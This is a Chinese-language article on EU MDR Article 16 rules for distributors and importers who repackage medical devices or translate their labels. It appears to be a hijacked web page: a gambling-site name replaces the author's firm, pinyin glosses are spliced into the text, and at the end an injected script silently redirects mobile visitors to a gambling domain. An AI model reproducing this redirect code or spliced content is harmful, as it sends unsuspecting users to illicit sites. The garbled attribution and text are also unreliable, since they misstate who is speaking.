澳门葡京登录

欧洲的医疗器械分销商和进口商——注意!

改变医疗器械的包装一直以来是不可避免的,例如对于家庭护理方面的供应商而言。由于没有任何其他形式的医疗器械,他们必须在健康保险公司每月统一费率报销的框架内,将大型医疗器械包装分开,以便根据每月的需要将产品发给患者。分销商可能还必须翻译说明以供客户使用。

从监管的角度来看,迄今为止(zhi),这些活动迄今(jin)为(wei)止都被视(shi)作不受监管的灰色(se)地带。即使非无(wu)菌消费(fei)品已经(jing)采用充分的包装工艺,并不会增加任(ren)何风(feng)险,但是这毕(bi)竟是对医疗器械造成(cheng)冲(chong)突(tu)。所以,这种(zhong)情况(kuang)即将在20215月发生改变!供应(ying)商(shang)需要持有特定产品的证书。


MDR 2017/745EU)第16条明确规定,在(zai)某些情况下(xia),此(ci)类活动不再属(shu)于医(yi)疗器械禁止变(bian)更的范畴,因此分销商或(huo)(huo)进口商不再另外承担制造商的责任。尤其是以下活动,为产品重新包装、翻译使用(yong)说明(ming)书(shu)或(huo)(huo)标(biao)签实施(shi)充分的质量管理体(ti)系,并且“ [...]分销(xiao)商(shang)(shang)或进口商(shang)(shang)应当向主管机(ji)构(gou)提交(jiao)一份证书,该证书由(you)公告(gao)机(ji)构(gou)颁(ban)发给用于进行[...]所(suo)述活(huo)动(dong)的器(qi)械,用于证明该(gai)经销商或进口商质量管理(li)体系符合在[...]中(zhong)规(gui)定的要(yao)求。来自“[MDR16(4)]

具体来说是什么?

此类活(huo)动需要获得(de)公告机构的特定产品164)条证书,且这个证书(shu)必须在(zai)开(kai)始活动之前(qian)将其提交给相关机构!


但是,目前尚无法获得此类证书。因为欧盟委员会的进度大大落后于计划表,无法为机构提供足够的指导。然而这些都是迫切需要做的!

例如,尚未定义将用(yong)作(zuo)可能的审核/审(shen)计基础(chu)的(de)标准。据(ju)悉,ISO 134852016可能将在(zai)这里起(qi)到作用(yong),但尚(shang)不清楚到什么程度(du)。在(zai)什么情况下允(yun)许重新包装或翻(fan)译?颁(ban)发的证(zheng)书必须(xu)如何与产(chan)品相关?“ ...对于设备类(lei)型(xing)意味(wei)着什么?例如,当分销商向产品组合添(tian)加新(xin)的(de)或变更后的(de)产品时(shi),如何处理变更?是(shi)否(fou)需(xu)要定期进行重新(xin)审计?同时(shi),欧盟委员(yuan)会成立(li)了16工作组,该(gai)工作组必须解决所(suo)有这些问题,并(bing)需(xu)要制定(ding)(ding)监管规定(ding)(ding)。

 

 

澳门葡京登录的医疗器械高级经理Joachim Paap认为,鉴于欧盟MDR的(de)主要(yao)目标之(zhi)一(yi)是(shi)提高对(dui)医疗器(qi)械供应(ying)链的(de)监(jian)控,因(yin)此预期对(dui)经济(ji)运(yun)营(ying)商进行更加频繁审计。这(zhei)个(ge)话题并(bing)未得(de)到进一(yi)步发展是(shi)难以理解的(de)。”他还(hai)认为(wei):分销商和进口商由(you)于在提供安(an)全(quan)、有效的医疗器(qi)械(xie)方面起到(dao)了重要作用(yong),在欧(ou)盟法(fa)律(lv)中也得到(dao)了合(he)理的考虑。但是,合(he)理考虑的条例应(ying)必须(xu)应(ying)用(yong)上。否则,市(shi)场的供应(ying)安(an)全(quan)将面临风险。

就(jiu)目前(qian)而(er)言,人们可以希望责任(ren)主管机构不只(zhi)是采(cai)(cai)取纯粹的形式,而(er)是采(cai)(cai)取基于风(feng)险、合理的方(fang)法,并且希望认证机构要求(qiu)欧盟委员会对此主题进行(xing)澄清(qing)。


在最终确定欧盟MDR之前需要做什么?

面对此问题,分销商(shang)和(he)进口商(shang)应对其产(chan)品(pin)组(zu)合和(he)适用的(de)流程进行(xing)基(ji)于(yu)风险(xian)的(de)评(ping)估,并进行(xing)必(bi)(bi)要(yao)的(de)变更。如果不可(ke)避免地需要(yao)进行(xing)翻译(yi)或重(zhong)新包(bao)装之类的(de)活动,公司都必(bi)(bi)须审查EU MDR16条的要求(qiu),并审核和(he)调整质(zhi)量管理体系进行,甚至首次开发(fa)和(he)建立质(zhi)量管理体系。


必须建立并证明(ming)对EU MDR要求(qiu)的(de)符合性。由于迄(qi)今为(wei)(wei)止这些需求(qiu)到(dao)目(mu)前为(wei)(wei)止只(zhi)是在(zai)非常高的(de)级(ji)别上定(ding)义,并(bing)且一旦定(ding)义了(le)规则还应(ying)尽快获得所(suo)需的(de)证书,所(suo)以考虑周全的(de)方法是必(bi)要的(de)。毕(bi)竟,可以想象到(dao),EU MDR一直(zhi)以来对(dui)市场和(he)(he)医疗器械供应的(de)关注(zhu)也将导致对(dui)分销商(shang)和(he)(he)进口商(shang)进行更多审计和(he)(he)监督,所以积极(ji)准备(bei)是必须(xu)的(de)。


若(ruo)您还存(cun)在疑问,或者想要为(wei)上市产品的符合性(xing)提供(gong)全(quan)面的支持?澳门葡京登录的医疗器械团(tuan)队将针(zhen)对(dui)贵(gui)司的具体(ti)情况提供(gong)定制化的解决方案(an)。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();